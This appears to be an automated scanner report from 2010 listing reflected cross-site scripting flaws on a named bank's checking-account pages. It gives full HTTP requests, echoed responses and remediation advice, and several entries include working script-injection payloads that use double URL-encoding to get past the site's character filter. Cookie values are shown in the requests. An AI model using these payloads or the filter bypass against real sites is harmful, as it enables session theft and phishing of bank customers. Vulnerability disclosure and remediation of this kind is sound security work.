Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the linkid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca646"><a>91c2cd96a28 was submitted in the linkid parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /directbanking/interest-online-checking-account/index.php?linkid=WWW_Z_Z_Z__C2_01_T_SP1ca646"><a>91c2cd96a28 HTTP/1.1 Host: www.capitalone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: external_id=WWW_124_ZZ_DB-ONL-CPM_LB_Z_Z_G_DB_27; smartTracking=; LP_GROUP=NDBCHAT_T_GRP; BIGipServerpl_capitalone.com_80=812197130.29215.0000; dbPhoneNumber=D-fkxyq3cLcx6Ure8NAnH; itc=CAPITALONE11123PINTMKTGDF; v1st=CA9A14180625EFAA;
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 08 Dec 2010 01:33:31 GMT Server: Apache Cache-Control: no-cache, no-store, must-revalidate Vary: Accept-Encoding,User-Agent P3P: policyref="http://www.capitalone.com/w3c/p3p.xml",CP="CAO DSP COR ADM DEV TAI PSA PSD IVA IVD CONo TELo OTP OUR DEL SAMo IND NAV" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20927
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title> ...[SNIP]... <input type="hidden" value="/directbanking/interest-online-checking-account/index.php?linkid=WWW_Z_Z_Z__C2_01_T_SP1ca646"><a>91c2cd96a28" name="dest"> ...[SNIP]...
1.2. http://www.capitalone.com/directbanking/interest-online-checking-account/index.php [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 19ca6"><a>3b422ca6a4f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /directbanking/interest-online-checking-account/index.php?19ca6"><a>3b422ca6a4f=1 HTTP/1.1 Host: www.capitalone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: external_id=WWW_124_ZZ_DB-ONL-CPM_LB_Z_Z_G_DB_27; smartTracking=; LP_GROUP=NDBCHAT_T_GRP; BIGipServerpl_capitalone.com_80=812197130.29215.0000; dbPhoneNumber=D-fkxyq3cLcx6Ure8NAnH; itc=CAPITALONE11123PINTMKTGDF; v1st=CA9A14180625EFAA;
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 08 Dec 2010 01:34:08 GMT Server: Apache Cache-Control: no-cache, no-store, must-revalidate Vary: Accept-Encoding,User-Agent P3P: policyref="http://www.capitalone.com/w3c/p3p.xml",CP="CAO DSP COR ADM DEV TAI PSA PSD IVA IVD CONo TELo OTP OUR DEL SAMo IND NAV" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20900
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title> ...[SNIP]... <input type="hidden" value="/directbanking/interest-online-checking-account/index.php?19ca6"><a>3b422ca6a4f=1" name="dest"> ...[SNIP]...
1.3. http://www.capitalone.com/directbanking/interest-online-checking-account/index.php [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10989%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e94c9ae6e12f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 10989"><script>alert(1)</script>94c9ae6e12f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /directbanking/interest-online-checking-account/index.php/10989%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e94c9ae6e12f HTTP/1.1 Host: www.capitalone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: external_id=WWW_124_ZZ_DB-ONL-CPM_LB_Z_Z_G_DB_27; smartTracking=; LP_GROUP=NDBCHAT_T_GRP; BIGipServerpl_capitalone.com_80=812197130.29215.0000; dbPhoneNumber=D-fkxyq3cLcx6Ure8NAnH; itc=CAPITALONE11123PINTMKTGDF; v1st=CA9A14180625EFAA;
Response
HTTP/1.1 200 OK Date: Wed, 08 Dec 2010 01:34:26 GMT Server: Apache Cache-Control: no-cache, no-store, must-revalidate Vary: Accept-Encoding,User-Agent P3P: policyref="http://www.capitalone.com/w3c/p3p.xml",CP="CAO DSP COR ADM DEV TAI PSA PSD IVA IVD CONo TELo OTP OUR DEL SAMo IND NAV" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20921
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title> ...[SNIP]... <input type="hidden" value="/directbanking/interest-online-checking-account/index.php/10989"><script>alert(1)</script>94c9ae6e12f?" name="dest"> ...[SNIP]...
The value of the linkid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a6d3"><a>3fa9470107b was submitted in the linkid parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /directbanking/rewards-online-checking-account/index.php?linkid=WWW_Z_Z_Z__C2_02_T_SP17a6d3"><a>3fa9470107b HTTP/1.1 Host: www.capitalone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: external_id=WWW_124_ZZ_DB-ONL-CPM_LB_Z_Z_G_DB_27; smartTracking=; LP_GROUP=NDBCHAT_T_GRP; BIGipServerpl_capitalone.com_80=812197130.29215.0000; dbPhoneNumber=D-fkxyq3cLcx6Ure8NAnH; itc=CAPITALONE11123PINTMKTGDF; v1st=CA9A14180625EFAA;
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 08 Dec 2010 01:33:36 GMT Server: Apache Cache-Control: no-cache, no-store, must-revalidate Vary: Accept-Encoding,User-Agent P3P: policyref="http://www.capitalone.com/w3c/p3p.xml",CP="CAO DSP COR ADM DEV TAI PSA PSD IVA IVD CONo TELo OTP OUR DEL SAMo IND NAV" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20923
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title> ...[SNIP]... <input type="hidden" value="/directbanking/rewards-online-checking-account/index.php?linkid=WWW_Z_Z_Z__C2_02_T_SP17a6d3"><a>3fa9470107b" name="dest"> ...[SNIP]...
1.5. http://www.capitalone.com/directbanking/rewards-online-checking-account/index.php [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 42742%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9e381a25200 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 42742"><script>alert(1)</script>9e381a25200 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /directbanking/rewards-online-checking-account/index.php/42742%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e9e381a25200 HTTP/1.1 Host: www.capitalone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: external_id=WWW_124_ZZ_DB-ONL-CPM_LB_Z_Z_G_DB_27; smartTracking=; LP_GROUP=NDBCHAT_T_GRP; BIGipServerpl_capitalone.com_80=812197130.29215.0000; dbPhoneNumber=D-fkxyq3cLcx6Ure8NAnH; itc=CAPITALONE11123PINTMKTGDF; v1st=CA9A14180625EFAA;
Response
HTTP/1.1 200 OK Date: Wed, 08 Dec 2010 01:34:24 GMT Server: Apache Cache-Control: no-cache, no-store, must-revalidate Vary: Accept-Encoding,User-Agent P3P: policyref="http://www.capitalone.com/w3c/p3p.xml",CP="CAO DSP COR ADM DEV TAI PSA PSD IVA IVD CONo TELo OTP OUR DEL SAMo IND NAV" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20917
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title> ...[SNIP]... <input type="hidden" value="/directbanking/rewards-online-checking-account/index.php/42742"><script>alert(1)</script>9e381a25200?" name="dest"> ...[SNIP]...
1.6. http://www.capitalone.com/directbanking/rewards-online-checking-account/index.php [name of an arbitrarily supplied request parameter]previous
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 886ff"><a>d6272b7f5f7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /directbanking/rewards-online-checking-account/index.php?886ff"><a>d6272b7f5f7=1 HTTP/1.1 Host: www.capitalone.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: external_id=WWW_124_ZZ_DB-ONL-CPM_LB_Z_Z_G_DB_27; smartTracking=; LP_GROUP=NDBCHAT_T_GRP; BIGipServerpl_capitalone.com_80=812197130.29215.0000; dbPhoneNumber=D-fkxyq3cLcx6Ure8NAnH; itc=CAPITALONE11123PINTMKTGDF; v1st=CA9A14180625EFAA;
Response (redirected)
HTTP/1.1 200 OK Date: Wed, 08 Dec 2010 01:34:08 GMT Server: Apache Cache-Control: no-cache, no-store, must-revalidate Vary: Accept-Encoding,User-Agent P3P: policyref="http://www.capitalone.com/w3c/p3p.xml",CP="CAO DSP COR ADM DEV TAI PSA PSD IVA IVD CONo TELo OTP OUR DEL SAMo IND NAV" Connection: close Content-Type: text/html; charset=ISO-8859-1 Content-Length: 20896
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <title> ...[SNIP]... <input type="hidden" value="/directbanking/rewards-online-checking-account/index.php?886ff"><a>d6272b7f5f7=1" name="dest"> ...[SNIP]...
Report generated by XSS.CX at Wed Dec 08 08:03:36 CST 2010.